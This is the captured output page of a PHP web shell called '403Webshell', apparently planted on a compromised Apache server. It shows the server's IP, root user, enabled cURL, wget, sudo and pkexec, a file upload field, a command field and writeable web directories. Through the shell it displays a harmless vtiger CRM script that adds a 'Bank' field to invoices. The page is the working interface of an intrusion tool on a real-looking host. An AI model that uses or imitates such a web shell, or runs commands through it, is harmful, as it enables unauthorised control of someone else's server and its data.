403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/crest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/crest/add_Invoice_fields.php
<?php

$Vtiger_Utils_Log = true;
include_once('vtlib/Vtiger/Menu.php');
include_once('vtlib/Vtiger/Module.php');

$moduleName='Invoice';
$module = Vtiger_Module::getInstance('Invoice');
$block = Vtiger_Block::getInstance('LBL_INVOICE_INFORMATION', $module);

$field14  = new Vtiger_Field();
$field14->name = 'invoice_bankid';
$field14->label= 'Bank';
$field14->uitype= 10;
$field14->table= $module->basetable;
$field14->column = $field14->name;
$field14->columntype = 'int(11)';
$field14->typeofdata = 'V~O';
$block->addField($field14);
$field14->setRelatedModules(Array('Bank'));

?>

Youez - 2016 - github.com/yon3zu
LinuXploit